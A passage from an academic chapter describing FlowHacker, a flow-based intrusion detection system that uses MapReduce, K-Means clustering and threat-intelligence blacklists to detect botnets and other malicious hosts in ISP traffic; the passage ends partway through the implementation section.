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7.1 Introduction
Internet service providers (ISPs) supply their customers communication services
that are easily abused by cyber-criminals. The major ISPs are interested in
reducing malicious activity, and detecting it is often a first step toward that
goal. However, these organizations now run backbones with bandwidths in the
order of 1 to 10 or even 100 Gbps [1], which support communication services
that were not possible in the past, but also make detection a difficult challenge.

A particular pernicious case of network abuse are botnets. These networks of
compromised hosts (zombies or bots) are platforms for a large set of illegal
activities, e.g., for executing distributed denial of service (DDoS) attacks, dis-
seminating malware, running phishing attacks, and supporting click fraud [2].
Several severe botnet attacks occurred recently, affecting millions of Internet users
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[3,4]. ISPs have necessarily a role to play in the mitigation of botnets, as they are
key traffic intermediaries [5]. Therefore, ISPs have to be able to detect them.

ISPs often use network intrusion detection systems (NIDSs) for identifying
malicious activity. Classical NIDSs do deep packet inspection (DPI), i.e., they
analyze the payload of the packets passing through specific points of the network
(e.g., an edge or border router), looking for a certain signature or behavioral
pattern. Classical NIDSs also fall in one of two categories: signature-based NIDSs
and behavior-based NIDSs. These approaches require, respectively, knowledge
about existing attacks (signatures) and traffic without attacks (normal behavior)
for training purposes, neither of which is simple to obtain [6]. This kind of
analysis is feasible in reasonably slow link connections but not in modern high-
speed backbones. Furthermore, nowadays most of the traffic payload is encrypted
due to the adoption of secure protocols, such as TLS, HTTPS, SSH, and IPSec,
which makes this kind of inspection even harder and less useful [7].

The difficulty of monitoring high-speed traffic has led Cisco to introduce the
concept of network flows in the context of the NetFlow router feature [8]. The
concept was later adopted by all major router vendors and standardized by the IETF
[9]. A flow can be defined as a sequence of packets with a common set of features,
passing through an observation point, in a given interval of time. Flows are a way of
monitoring communication in a summarized way, without inspecting the content of
the packets, using instead high-level information about connections (source/destina-
tion IP address, source/destination port, etc.) but not the data transferred itself.
Analyzing this information is more efficient than doing DPI in terms of protection of
the privacy of users and consumption of computational resources, once flows do not
carry payload content, requiring less processing to be analyzed.

Network flows, or simply flows, are an alternative to the previously mentioned
approaches for network intrusion detection. Network flow analysis allows detect-
ing internal and external actions like network misconfiguration and policy
violation [10]. Flows allow detecting many network layer and transport layer
attacks. They also allow detecting botnets, because bots perform identifiable
network activity such as contacting command and control (C&C) servers or
DDoS attacks. Flows generically do not allow detecting application layer attacks
such as SQL injection, cross-site scripting, buffer overflows, races, etc., for the
simple reason that they do not contain the message payloads.

The use of machine learning (ML) in the context of network intrusion detection is
far from new. A major application of ML is behavior-based (network) intrusion
detection, also called anomaly detection [11,12]. Both traditional signature-based
NIDSs and NIDSs based on flows can also use ML techniques, but the precision and
accuracy of these systems depend on the completeness of the knowledge they have
about the threats that they will detect, as they need to be fed and trained with that
knowledge. ML techniques aim to provide knowledge to such systems, allowing
them to discover hidden patterns in input data based on the knowledge they learned,
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and classify that data. However, even when using ML, there are challenges in
analyzing network flow data, such as the huge amount of traffic flow becoming
from larger and faster networks as, for instance, connection links of ISPs.

This chapter presents a new approach to detect malicious traffic, even if as part
of new attacks, and to identify the malicious hosts involved by inspecting
network flows. The approach uses a combination of unsupervised ML techniques,
without a priori knowledge, and threat intelligence information to achieve its
goal. The approach is based on the following key insights:

■ There is much more normal traffic than malicious traffic.
■ Malicious traffic is qualitatively different from normal traffic.
■ Similar traffic within each category (normal, malicious) can be summarized

using unsupervised ML.

Our approach involves dividing traffic (flows) into clusters. The larger clusters
typically correspond to normal traffic, so the smaller clusters are the ones we have
to worry about. For the latter, we propose a classification method based on
unsupervised ML to classify them as malicious or benign, so detecting malicious
traffic and identify malicious hosts. This classification allows reducing drastically
the amount of time spent in analyzing the flows, reducing the size of the problem
of processing the amount of traffic at the speed of ISP networks.

The approach works in a loop, iteratively and continuously detecting network
attacks and malicious hosts. Between iterations, clusters are classified and learned, so
that this knowledge can be used in the following iterations. This form of learning
provides increasing autonomy to the system and may significantly reduce the
network managers’ constant need for intervention, although not being completely
free from human intervention, as no NIDS is. In fact, human intervention is
unavoidable when the goal is to detect attacks without requiring either previous
knowledge about attacks (signatures) or traffic without attacks (clean traffic for training).

The chapter also presents the FlowHacker NIDS that implements our approach.
This tool uses the Hadoop MapReduce platform [13,14] to summarize networks
flows and a set of ML algorithms to process these summaries, besides providing visual
tools for human analysis. We evaluated the FlowHacker NIDS with two kinds of
traffic and it identified botnet C&C servers, SSH brute-force attacks, and denial of
service events. For validating the system, we used a synthetic traffic flow data set [15].
For testing the system, we used real data from a ISP, a large Portuguese telecommu-
nications company with a few million customers, which provides Internet, TV-over-
IP, phone-over-IP, and GSM/3G/4G cellular phone services. FlowHacker was able
to detect several cases of botnet activity.

The main contributions of the chapter are: (1) an approach for improving network
security based on the inspection of network flows by using a combination of
unsupervised ML techniques to detect intrusions; (2) an iterative learning process; (3)
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a NIDS that implements the approach; (4) an experimental evaluation that shows
the ability of the system to detect intrusions in computers communication using
network flows.

The remaining of the chapter is organized as follows. Section 7.2 presents
background on network flow field and discusses related work. Section 7.3 presents
the approach, Sections 7.4 and 7.5 present more details about it, and Section 7.6 its
implementation. Section 7.7 presents and discusses the evaluations results, and
Section 7.8 concludes the chapter.

7.2 Context and Related Work
This section provides an overview of intrusion detection using network flows.
Section 7.2.1 provides some insight on some of the existing tools to perform flow
analysis. Section 7.2.2 gives an overview of some of the most addressed network
intrusions and respective works/tools that show how to detect them using a flow-
level analysis rather than payload inspection.

7.2.1 Network Flows and Basic Flow Tools

The first network protocol to handle network flows was NetFlow, developed by
Cisco [8]. It consists of a built-in feature in the Cisco routers, and is used to
collect and export flow records. Since then, it has been evolved and its recent
version—NetFlow v9—already includes integration with other protocols, such as
Multiprotocol Label Switching (MPLS).

Network flow technology is built-in in network devices, so it allows to select,
from all the traffic passing through that device, the traffic that matches the set of
features that were previously defined by the network administrator, in order to
obtain what he wants to analyze. For example, by deploying this technology in
a border router, all of the traffic going in and out of that network will be filtered
by NetFlow. Upon the reception of an IP packet, the network device looks at
that packet’s fields in order to find any matching feature with those previously
defined. In case the packet’s features do match, then an entry is created in a data
structure called flow cache, for that flow. Note that a flow may correspond to
several packets, and many different flows can be collected.

Apart from NetFlow, many other vendors have their own implementation for
flow collection and exporting. Examples of such implementations are NetFlow-
lite, sFlow, and NetStream. However, due to the heterogeneous nature of these
technologies between different vendors, the Internet Engineering Task Force
(IETF) created the IP Flow Information eXport (IPFIX) protocol [9] to standar-
dize flow collection and exportation, allowing thus for the clients to easily deploy
their flow-based applications. As previously stated, packets that share common

Detecting Botnets ■ 241



properties are grouped in flows, and in the IPFIX terminology these properties
are referred as flow keys. They can form, for example, the following tuple:
(IP_source, IP_destination, port_source, port_destination, type_of_Service).

In order to simplify the collection and extraction of flows, some tools were
developed. The nfdump tool [16] is one of them. The tool is compatible with
versions v5, v7, and v9 of NetFlow and supports data conversion to plain text (in
form of txt files). nfdump reads the NetFlow data, stores it into binary files, and
performs some analysis on it, such as some statistics and aggregation.

The System for Internet-Level Knowledge (SiLK) tool [17] is a widely
deployed flow analysis tool developed by the CERT Network Situational Aware-
ness Team. It is compatible with both IPFIX and NetFlow (versions v5 and v9).
Like nfdump, it allows to convert NetFlow data to some specific format, and also
has built-in tools to analyze these files, such as performing filtering on the
gathered flows and retrieve statistical data.

7.2.2 Intrusion Detection Based on Network Flows

Several papers presented flow-based intrusion detection schemes for specific
network attacks, including botnets [2,18–22], and others such as port scans
[23,24], worms [25–27], and denial of service [28–30]. Each of these approaches
was designed to detect only one of these attack types, but they are related to our
work and useful to explain how flows can be used to detect a certain attack.

An increasing trend in intrusion detection systems is the use of ML techniques
[10,31]. ML can be defined as a collection of methods that aim to attain
knowledge by building an intelligent system through the observation of patterns
in a given environment [10]. This knowledge may be refined and improved at
each iteration, by learning from previous experiences and observations. Such
methods have been used in several and different applications, in many different
fields of science, such as natural language processing (NLP), speech recognition,
bioinformatics, spam detection, network intrusion detection, among many others.

ML algorithms can be divided into two major types: supervised learning and
unsupervised learning. The first one relies on a labeled training data set. The data set
consists in a set data labeled and categorized in classes by humans that aims to train the
system, making correspondences between features and their meaning or interpretation
that is expected to the system. After the training phase, the system is ready to classify
input data based on the learning that obtained during the training. Examples of
supervised algorithms are Decision Trees, Naïve Bayes, and Support Vector Machine
(SVM). On the other hand, unsupervised learning does not have trained labeled data
set. In contrast, it receives as input a unlabeled feature vector, and then it is processed
for discovering similar groups into it. Clustering is an example of this kind of learning,
and K-Means is one of the best-known algorithms for clustering.
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In the field of network intrusion detection, ML techniques have been able to
classify network traffic and identify both anomalous patterns and potentially
harmful users [11,12,32]. When NIDS systems integrate this technique, the
adopted strategy is usually behavior-based detection (or anomaly detection), in
which normal traffic patterns are differentiated from anomalous ones. It focuses
its attention on finding patterns that would not be expected from the user’s
behavior. Unlike what signature-based NIDSs detect, these patterns are unknown
to the system, as they are trained with intrusion-free data. However, this
approach requires clean traffic for training, i.e., traffic that does not contain
attacks, which is difficult to obtain in ISP networks in production.

Portnoy et al. presented a scheme to detect intrusions based on clustering that is
neither behavior—nor signature-based [33]. However, that work does not consider
the iterative model we do and does not use flows. The Unsupervised Network
Intrusion Detection System (UNIDS) was able to detect unknown attacks without
requiring any labelling, signatures or training [34]. UNIDS uses various clustering
techniques such as sub-space clustering, density-based clustering and evidence
accumulation. However, it does not consider the iteration process we do. Gonçalves
et al. follow an approach closer to ours but inspect logs, not flows [35]. That work
and a few others use open source threat intelligence in combination with other
techniques [35,36]. A short version of the present work appeared before, but did not
present the approach in detail [37].

7.3 The FlowHacker Approach
The FlowHacker approach does flow processing using unsupervised ML algorithms
with the assistance of threat intelligence to detect unknown network attacks. As
explained in the introduction, the approach is based on the assumption that most of
the traffic is legitimate, so malicious traffic is much less, as well as that malicious
traffic is qualitatively different from normal traffic. Taking this into account, the
application of the unsupervised ML algorithm allows splitting the malicious traffic
from the clean traffic, so that the biggest clusters are those containing normal traffic,
whereas the smaller ones are those that may be malicious (although that is not
mandatory; there may small clusters of legitimate traffic). These assumptions in
combination with the use of flows allow to cover (1) the difficulty of reacting to an
unknown pattern when real traffic is analyzed, and (2) the slow processing and
analysis of the traffic payload. The first drawback may be countered by using an
unsupervised ML algorithm, and the second by performing the analysis at flow level.

The approach works in a loop, improving the knowledge that has been acquired in
previous iterations. This allows improving detection performance with time. For each
loop iteration all phases involved in the approach are executed. Therefore, for each set
of collected flows, the tool gains insights from them, improves such insights with
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threat intelligence information, applies an unsupervised algorithm on the improved
insights for getting clusters, and then classifies the smaller clusters as being malicious
or benign hosts by using a classifier method based on a unsupervised algorithm.
Lastly, these new classified clusters are added to the existing knowledge for the
unsupervised data set to be used in the next loop iterations. This learning phase
between loop iterations allows increasing knowledge gradually with every iteration.

The approach comprises six phases, as shown in Figure 7.1:

1. Flows collection: to collect flows from different hosts or routers belonging to
a network infrastructure, corresponding to a certain period of time (e.g., a day).
Each flow summarizes a set of packets collected from a host during a period of
time.

2. Features extraction: to extract data from the collected flows in order to create
vectors of features that allow characterizing the flows. Flows are filtered to
extracting relevant data, afterward this data goes through MapReduce for
getting statistics and summarizing their values, then they are normalized and
the vectors created (see Section 7.4.2).

3. Threat intelligence retrieving: to automatically retrieve information about
threats from online databases, namely blacklists of subnets and IP addresses.
Afterward, this information is used to complement and complete the data of
vectors of features (see Section 7.4.3).

4. Similarity aggregation: to apply an unsupervised ML algorithm over the
feature vectors in order to aggregate similar vectors (vectors with similar
feature values), resulting in clusters that represent hosts having a similar
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Figure 7.1 Overview of the approach and its six phrases: flows collection,
features extraction, threat intelligence retrieving, similarity aggregation, detection,
and learning.
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behavior. The biggest clusters are assumed to contain clean traffic and the
smaller clusters have to be further analyzed (see Section 7.5.1).

5. Detection: to detect unknown network attacking hosts. Based on the knowledge
acquired in the learning phase a classification method using unsupervised ML
classifies the small clusters as being malicious or clean traffic. In the first loop
iteration, the classification is done manually, but automatically subsequently
when the system has already knowledge from the previous classifications (loop
iterations). Clusters are labeled with its classification and the classified data set is
updated with them (see Section 7.5.2).

6. Learning: to learn the new cluster classifications resulting from the detection
phase. For each loop iteration, the clusters classified in the detection phase
are learned for later to be used as knowledge in the next loop iterations by
the classifier (see Section 7.5.3).

The following sections present the approach in detail.

7.4 Obtaining Vectors of Features
This section presents the process of extracting data from the collected flows and
retrieving threat intelligence information from online databases to create the vectors
of features with this data. This process constitutes the second and third phases of the
presented approach—extraction features and threat intelligence retrieving (see Figure 7.1).

As said, a flow summarizes a set of packets with similar characteristics that were
observed during a period of time. However, a flow summarizes packets coming from
different source IPs and going to different destination IPs. Therefore, to obtain
information about individual hosts we must aggregate flows by source and destina-
tion IPs. These aggregated flows summarize traffic sent or received by each host.

To use these aggregated flows in ML algorithms, we represent each of them by
a vector of features, i.e., a vector of attributes that characterize these aggregates in a way
that is useful for our purposes (intrusion detection). The features can be extracted
from the aggregated flows directly, or from external sources of threat intelligence data
(e.g., the information if a certain IP address appears in a certain blacklist of not).

The next sections present the features we defined to compose vectors of
features and these two phases in detail.

7.4.1 Features
The features have to be carefully chosen because the accuracy and precision of the
approach depend on that choice. We characterize aggregated flows using 19
features from 5 categories (Table 7.1): three to represent characteristics from
layer 2, layer 3, and layer 4 of the TCP/IP stack, one for statistics about the
aggregated flow, and one for threat intelligence data.
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7.4.1.1 Layer 2, 3, and 4 Features

We defined 11 features to represent characteristics from layers 2, 3, and 4,
respectively, 3, 4, and 4 features (lines 2 to 12 of Table 7.1).

Table 7.1 Set of features that describe an aggregated flow in the form of
a vector

Feature Description #

L2

AggregationKey IP address used as identifier (to which the
other features relate to)

1NumSIPs/NumDIPs The number of IP addresses contacted

LocationCode
Code for the country associated with the
address

L3

NumSports
The number of different source ports
contacted

2

NumDport
The number of different destination ports
contacted

3

ICMPRate
The ratio of ICMP packets, and total number
of packets

13

SynRate
The ratio of packets with a SYN flag and the
total number of packets 14

L4

NumHTTP The number of packets to/from port 80 (HTTP) 4,8

NumIRC
The number of packets to/from ports 194 or
6667 (IRC) 5,9

NumSMTP
The number of packets to/from port 25
(SMTP) 6

NumSSH The number of packets to/from port 22 (SSH) 7,10

Statistic

TotalNumPkts The total number of packets exchanged 11

TotalNumBytes The overall sum of bytes 15

PktRate The ratio of the number of packets sent and
its duration 12

AvgPktSize The average packet size 16

TI

BadSubnet
This field expresses whether the IP address
belongs to a blacklisted subnet

MaliciousIP
This field expresses whether the IP address is
blacklisted

OpenVaultBlacklistedIP
Similar to the above but from another data-
base [38]

MaliciousASN
This field signals if the IP address belongs to
a blacklisted ASN
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From layer 2 are extracted the IP addresses, both source and destination. However,
it is necessary to identify a vector of features uniquely, therefore, packets coming
from different source IPs and different destinations IPs constitute different vectors of
features. We defined the AggregationKey feature to have this role of identifying
a feature vector uniquely, which receives the IP address (source or destination). This
choice was inspired by [34] that used source and destination IP addresses to
distinguish groups of 1-to-N and N-to-1 anomalies. The NumSIPs/NumDIPs
features represent the number of all different IP addresses contacted contained in
the aggregated flow, for that key, whereas the LocationCode feature contains the
country code of the address IP that fills the AggregationKey feature.

Features from layer 3 are related to source and destination ports, the SYN flag
from TCP, and ICMP protocol. Features NumSports and NumDports represent
the first two characteristics, containing the number of all different source ports
and destination ports contained in the aggregated flow, for that key. If the SYN
flag is observed, the SYNRate feature will be filled by the number of times that
a SYN flag is sent divided by the total number of packets in the aggregated flow
for that key. For the ICMPRate feature the same procedure is applied, that is, the
number of times the ICMP protocol is used divided by the total number of bytes
of the aggregated flow for that key.

Features from layer 4 are related to the application protocols that are used in
the aggregated flow for that key. Features NumHTTP, NumIRC, NumSMTP,
and SSH represent the number of occurrences of contacting ports 80, 194 or
6667, 25, and 22, respectively, for the HTTP, IRC, SMTP, and SSH protocols.

7.4.1.2 Statistic Features

Four statistic features (lines 13 to 16 of table) were defined to summarize an
aggregated flow for a given key, regarding its number of packets and size. Total-
NumPkts and TotalNumBytes features are defined to represent these two character-
istics that are obtained by summing all the values of them, that is, the number of
packets and the number of bytes, respectively. From these two features we obtain
another two: PktRate and AvgPktSize. The PktRate feature gives the aggregated flow
packet rate, which is obtained by dividing TotalNumPkts by the total duration of the
aggregated flow for a given Key, and the AvgPktSize feature gives the aggregated flow
packet average, which is obtained by dividing TotalNumBytes by TotalNumPkts.

7.4.1.3 Threat Intelligence Features

The last four lines of Table 7.1 present the features related to evidence of threats
in the aggregated flow. The BadSubnet and MaliciousIP features indicate if the
aggregation key (AggregationKey) belongs to a subnet or malicious IP blacklist,
whereas the OpenVaultBlacklistedIP and MaliciousASN features have the same
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mean than MaliciousIP but the threat intelligence source is different. All of these
features are binary, meaning that their content is 0 or 1, i.e., the key does not
belong or belongs to such lists.

7.4.2 Flow Feature Extraction

The first 15 features are extracted from the aggregated flows in the feature extraction
phase. This phase is composed by three tasks, namely, filtering, mapping & reducing,
and normalization (see Figure 7.1), which are described as following.

7.4.2.1 Filtering

Upon the receiving of the gathered flows, a filtering is performed to get the
characteristics related with 9 features referenced above (lines 3, and 5 to 12 of Table
7.1). Since the data of these features are contained in fields of the header protocols
from layers 2, 3, and 4, the easiest way of filtering them consists in removing some
unnecessary characteristics from the flows (e.g., its payload content and date). Each
packet is unencapsulated for accessing to the protocol header fields, extracting data
from these fields according to the defined features, creating a tuple with these data,
and storing the tuple temporarily to later be processed. Specifically, nine character-
istics are extracted to form a tuple, namely source and destination IP addresses, source
and destination ports, number of sent packets, which protocol was used, TCP flag (if
any), number of exchanged bytes and its duration. A representation of a tuple is
<srcIP, dstIP, srcPort, dstPort, #pkts, protocol, flag, #bytes, duration>.

7.4.2.2 MapReduce

This task processes the tuples, by first aggregating them in order to form aggregated
flows, secondly for each aggregated flow to be represented by a vector of 15 features
presented in Table 7.1 (lines 2 to 16). Aggregating flows means to merge into a single
representation all the tuples that have the same source or destination IP address
(destination and source addresses for destination and source aggregations, respec-
tively). Notice that the flows collected from a host are those that outgoing, and so
represented by the source IP address, and those that incoming, which are represented
by the destination IP address. To get the vector of features it is necessary mapping all
data inside a aggregated flow, and then reducing these data, merging it into one.

To achieve such actions, the MapReduce paradigm is used. MapReduce was first
introduced by Google [13]. It allows processing big data in parallel in large server
clusters. For that purpose, it divides processing jobs in two phases that run,
respectively, a mapper and a reducer function. The mapper phase involves applying
the mapper function to each of the input files and obtain a set of pairs5key;value4;
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the reducer phase runs one or more reducers that receive as input the pairs generated
by the mappers, and aggregate key pairs with the same keys, performing some
operation on their respective values.

7.4.2.3 Mapper

Following the algorithm, the mapper for every tuple parses it, gets the nine
characteristics extracted in the filtering task and creates a 5key;value4 pair for
each one, being the key a string in the format “S/D,feature,IPaddress” and the value
the characteristic value for the feature in question. The key is composed of three
elements that combined allow uniquely identify the origin of the feature, which is
associated to a source or a destination IP. The S/D element denotes if the tuple
represents an outgoing (S) or an incoming (D) flow, being S and D representatives of
source and destination IP address, respectively. The feature element is the feature
parsed from the tuple, and the IPaddress element is the IP address of the sender host.

We defined 22 key pairs, i.e., 11 key pairs for each aggregation key. Figure 7.2 shows
the key pairs for the source IP aggregation key. The last four defined key pairs are
regarding the counters for the number of times the protocol port was used, allowing
thus calculate the layer 4 features (lines 9 to 12 of Table 7.1). The key pairs to
destination IP as aggregation key are analogous, replacing in the key the S by D, and
srcIP by dstIP.

For example, the outgoing tuple <192.168.0.105, 10.10.5.2, 80, 80, 52,
HTTP, 1050, 31> sent by the 192.168.0.105 source IP when received by the
Mapper, the following key pairs showed in Figure 7.3 are produced.

7.4.2.4 Reducer

The reducer receives the key pairs of every tuple, aggregates them by key, and
calculates counts and sums using them in order to obtain the final values needed to
fill the vectors of features. When the reducer receives a pair with an IP address key

<"S,dstIP,srcIP";dstIP> 
<"S,srcPort,srcIP";srcPort> 
<"S,dstPort,srcIP";dstPort> 
<"S,pkts,srcIP";#packets> 
<"S,protocol,srcIP";protocol+flag> 
<"S,bytes,srcIP";#bytes> 
<"S,duration,srcIP";duration> 
<"S,HTTPPort,srcIP";yes/no> 
<"S,IRCPort,srcIP";yes/no> 
<"S,SMTPPort,srcIP";yes/no> 
<"S,SSHPort,srcIP";yes/no> 

Figure 7.2 Key pairs defined for the source IP as aggregation key.
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that it has not yet seen, it creates a new feature vector which the Aggregation Key
feature filled with that IP address. On the other hand, when it receives entries with
key IP addresses that have already known it aggregates their values in the respective
vectors. For example, in order to summarize the number of bytes sent by the
192.168.0.105 source IP, i.e., calculating the TotalNumBytes feature, the mapper
produces the 5“S,bytes,192.168.0.105”;value4 pair for each tuple, being value the
number of bytes sent in the tuple. The reducer, on the other hand, receives these
records, and sum the value of all the records that have the same 5“S,
bytes,192.168.0.105”4 key, aggregating in this way such values.

After all flows are aggregated in a single one and represented by a vector, the
reducer produces the four statistic features (lines 13 to 16 in Table 7.1) derived
from the other nine features. Finally, the LocationCode feature is fetched by
using the Aggregation Key value and an IP tracker that references geographic IPs.

At the end of the MapReduce algorithm execution, we have two sets of feature
vectors: one representing the outgoing aggregated flows (identified by S) and
another representing the incoming aggregated flows (identified by D).

7.4.2.5 Normalization

Most features carry numeric data, but there is the need to keep every value in one
common scale. Moreover, there are some features that are not expressed in
a numerical manner, such as the IP addresses and the country. In these cases,
these features are mapped to numerical values, which can be reversed to text. In
addition, there are other features (e.g., NumDport) that are numeric but their
values must be normalized. On the other hand, there are features that do not
need to be normalized because they already are, such as threat intelligence features
in which their values are binary, i.e., 0 or 1.

Normalizing a set of values means mapping these values to a specific range. We
want normalize the feature values to the interval [0,1], where 0 is absolute

<"S,dstIP,192.168.0.105";10.10.5.2> 
<"S,srcPort,192.168.0.105";80> 
<"S,dstPort,192.168.0.105";80> 
<"S,pkts,192.168.0.105";52> 
<"S,protocol,192.168.0.105";HTTP> 
<"S,bytes,192.168.0.105";1050> 
<"S,duration,192.168.0.105";31> 
<"S,HTTPPort,192.168.0.105";yes> 
<"S,IRCPort,192.168.0.105";no> 
<"S,SMTPPort,192.168.0.105";no> 
<"S,SSHPort,192.168.0.105";no> 

Figure 7.3 Key pairs of an outgoing tuple for the 192.168.0.105 source IP.
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minimum, and 1 the absolute maximum. To achieve so, given the feature values
from a feature vector in the form X ¼ ðx1;…; xnÞ, the correspondent normalized
Y ¼ ðy1;…; ynÞ vector is obtained using:

yi ¼ xi � minðX Þ
maxðX Þ � minðX Þ ; yi 2 ½0; 1� ð7:1Þ

7.4.3 Obtaining Threat Intelligence
In order to complement the information of aggregated flows, the feature vectors
are completed with threat intelligence about blacklisted subnets and malicious
IPs. This way, online threat intelligence repositories are accessed to retrieve these
lists. After flows were processed and feature vector created and filled by MapRe-
duce algorithm, the four threat intelligence features (last four lines of Table 7.1)
are added to the vectors. Next, for each vector is checked if the Aggregation Key
value belongs to those lists, and in such case the correspondent features are set to
1, otherwise they are set to 0.

7.5 Detecting Network Attacks
We propose an approach to detect unknown network attacks based on the assump-
tion that the majority of the observed traffic is benign rather than malicious, as well as
that malicious traffic is qualitatively different to the regular, normal traffic. To
achieve so, the proposed approach uses unsupervised ML algorithms in two fashions:
to separate both kinds of traffic, generating clusters, and to confirm if the smaller
clusters generated are actually malicious, classifying them.

We propose a detection process using unsupervised techniques over sets of
vectors of features (see Section 7.4). An unsupervised clustering algorithm is
applied on the feature vectors, aggregating groups of vectors having similar values
in their features, forming in this way various large groups of hosts, and some
outliers (small groups of hosts). Afterward, the resulting outliers are classified as
being malicious or not by using a unsupervised algorithm, that we call a classifier.
According to the mentioned assumption, the outliers may represent an attack,
although this may not always be the case. Such outliers could also represent, for
instance, some application that are less frequently used by a host, or even
a machine whose characteristics are not very common, therefore producing flow
features that are different from regular traffic that is found in bigger clusters. So,
it is of utmost importance to analyze and classify them, in order to differentiate
the actual attacks from these benign outlier traffic patterns. This detection process
regards to the similarity aggregation and detection phases of the approach presented
in Section 7.3, illustrated in Figure 7.1, and detailed in next sections.
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7.5.1 Similarity Aggregation

The idea behind the unsupervised algorithms we consider—clustering—is to
group different instances of a dataset into k distinct groups, i.e., clusters,
according to the similarity of their values or characteristics. For instance, applying
a clustering algorithm to a dataset of network traffic, it would generate k clusters,
where one would be representative of regular DNS traffic, another one would be
simple SMTP traffic, and so on. Therefore, we want to apply the same idea of
clustering to separate and represent normal and abnormal traffic.

Depending on the algorithm used, the value of k may or may not be chosen
automatically. For example, the DBSCAN algorithm [39] does not need a predefined
k value, but the K-Means and the Mini Batch K-Means algorithms [40] need it. We
opted by algorithms in which k must be specified, since we want to find out which is
the best k for dealing with diversity of data. We chosen K-Means and Mini Batch
K-Means algorithms because the former is the most used algorithm for that task due
to its simplicity and efficiency, and the latter we want to investigate if it behaves as
well as the former, and can give us other insights not given by K-Means.

7.5.1.1 Choosing the Number of Clusters

Both K-Means and Mini Batch K-Means algorithms require the number k of
clusters to be specified. There is no obvious value for k. However, there are some
techniques that give us a hint of what the value of k should be. Such is the case of
the Elbow Method. These clustering algorithms converge when the variation of
the distance between the data points and the clusters centers start converging to
0. With this in mind, the Elbow Method starts by computing the error function
that is used as a stopping criterion in the algorithm, known as total within-cluster
sum of square (WSS), which is mathematically defined as follows:

WSS ¼
Xk

i¼1

X

x2ci
distðx; ciÞ2 ð7:2Þ

Equation (2) produces values for k in a specified range, which it is provided by
the user. For example, for a specified k ¼ 30 and k-means clustering algorithm,
the method calculates the WSS for different values of k, by varying k from 1 to
30 clusters. By plotting these values according to the number of clusters k, we
obtain a curve that will be decreasing with the increase of k, as we can observe in
the plot graph on the top of Figure 7.4. Theoretically, the optimal value of the
WSS would be 0, but this value is only obtained when the number of k clusters is
equal to the number of entries in the dataset, which would mean that each data
point would be in its own clusters, and this process would not provide interesting
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information at all. Instead, the Elbow Method indicates that appropriate number
of clusters is when the slope of the WSS has a sudden break. Apart from the WSS,
the Elbow Method also calculates the percentage of variance explained (PoVE)
metric for each value of k (bottom graph of Figure 7.4) which reflects the ratio of
the between-group variance (BSS) and total variance (TSS), and indicates an
optimal k when it suffers an abrupt change.

According to the method and analyzing the Figure 7.4 as example, the optimal k
would be 2 because the biggest slope is found for k ¼ 2 (x-axis), which is can not fit for
our case. However, there is a rule of thumb often used, which consists in starting off
with k ¼ ffiffin

2

p
, where n is the number of entries in the data set. Applying this rule we

found that k ¼ 10 is a number of clusters that successfully and coherently divides the
different datasets of various sizes. Observing the Figure 7.4, we can see that around
k ¼ 10 the KSS and PoVE values start to stabilize, and its variation is close to 0.

7.5.1.2 Describing Clusters

The potential malicious aggregated flows, i.e., the aggregated flows that can
correspond to intrusions, are assumed to be placed in the clusters with smaller
size. In order to obtain a coarse grained overview of each cluster’s content and to
classify each cluster easily, each feature of each cluster is described by its mean
value and standard deviation. In this way, it is possible to have an idea of each
cluster’s behavior and each cluster’s feature distribution. Also, this allows describ-
ing a cluster’s content representing it by a single feature vector composed by the
mean values of features and the standard deviation of them.

Figure 7.4 Plot of the elbow method.
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The resulting vector, we call it descriptor vector, and for the classification task
we focus on those descriptor vectors that have higher feature values, i.e., higher
mean values and standard deviations.

7.5.2 Detection

In order to automate the detection of malicious hosts, a classification method based
on unsupervised ML is applied to the descriptor vectors resulting from the similarity
aggregation phase. This method applies again an unsupervised algorithm to the
descriptor vectors, after they are joined to a temporary dataset comprising descriptor
vectors provided from previous loop iterations and classified as being malicious, and
then verifies if some outlier results.

The idea behind this classification method relies in the fact that malicious
hosts have higher feature values in more than one of their features, and if
a clustering technique is applied to a set of instances with these characteristics,
there will be a resulting cluster that contains such instances. Therefore, given
a set of malicious descriptor vectors and a descriptor vector that we want to
classify, if we add this vector to the set and then apply an unsupervised
algorithm for k ¼ 2, we envisage two possible results: (1) all instances will be
put in a single cluster (i.e., resulting an empty cluster), meaning that the
descriptor vector is classified as malicious; (2) both clusters will be populated,
which one of them is considered an outlier and contains the descriptor vector
we want to classify, meaning that such vector is an unusual normal traffic case,
and then classified as normal. Figure 7.5 shows the data flow of this classifica-
tion method and the process explained above.

Smaller
clusters

Describing
cluster

Clustering
K=2

outlier
?

Dataset with
descriptor

vectors

Malicious
hosts

detected

Unusual
normal 
traffic

Automatic
labeling

Y N

Figure 7.5 Detection phase data flow.
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In this process of classification, we can say that the system runs a unsupervised
learning algorithm that is trained with the malicious labeled data produced by the
previous classifications, and will proceed to classify the traffic that was perceived
as being outlier by the first clustering algorithm application (on similarity
aggregation phase). Upon this classification, the system should be able to correctly
identify the observed malicious traffic, thus allowing the detection of the
malicious hosts. This process is to be performed on a daily basis. If the analysis
period was smaller, some attacks would not be possible to detect—as some of
them last for long periods of time; if it was longer than a day, the obtained values
would become noisy, as the flows are aggregated, some IP addresses may be
reused from one day to another, therefore achieving very high feature values,
misleading us to think that it is indeed an attack.

7.5.3 Learning

In a first run of the system, the classification module has not yet any knowledge
at all, and so there is a need for a manual intervention that will classify and label
the descriptor vectors of the outliers provided from the similarity aggregation
phase. Therefore, upon the clustering of the data resulting from the similarity
aggregation phase, a manual intervention is performed in order to analyze the
characteristics of the traffic—summarized in the form of clusters—ultimately
leading to the production of a labeled dataset that will serve as training for the
classification method of the detection phase.

This initial manual classification serves as input to the unsupervised algorithm
deployed in the detection phase. In the following runs of the system, the data set
will be increasing with the previous classifications made. So, over time, there may
not be a need for manual intervention since the classification method will come
more and more capable of classifying on its own, which is based on the previous
classifications made and learned by the method (see Section 7.5.2). However, we
recall that only descriptor vectors classified as malicious are used to compose the
data set used on clustering task of the detection phase. Therefore, the vectors
classified as normal, manually and automatically, are discarded.

7.6 FlowHacker Implementation
To evaluate our approach we implemented it in the FlowHacker NIDS, which
we developed in Python. The system is composed by two modules—similarity
and classification—for aggregating the feature vectors in clusters and detecting
malicious hosts, respectively. In addition, FlowHacker interacts with the Hadoop
framework for running MapReduce over the flows, obtaining aggregated flows
and vectors of features.
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Before using FlowHacker, the first step is to gather the flow collection,
obtained using NetFlow-enabled routers placed at the border routers between
the core network and the connection to the ISP. For the sake of analyzing and
treating these flows, all of this data is converted to the SiLK format. Next,
a filtering to the flows is performed for getting the nine features needed to
compose the feature vectors (see as Section 7.4.2). Afterward, these filtered
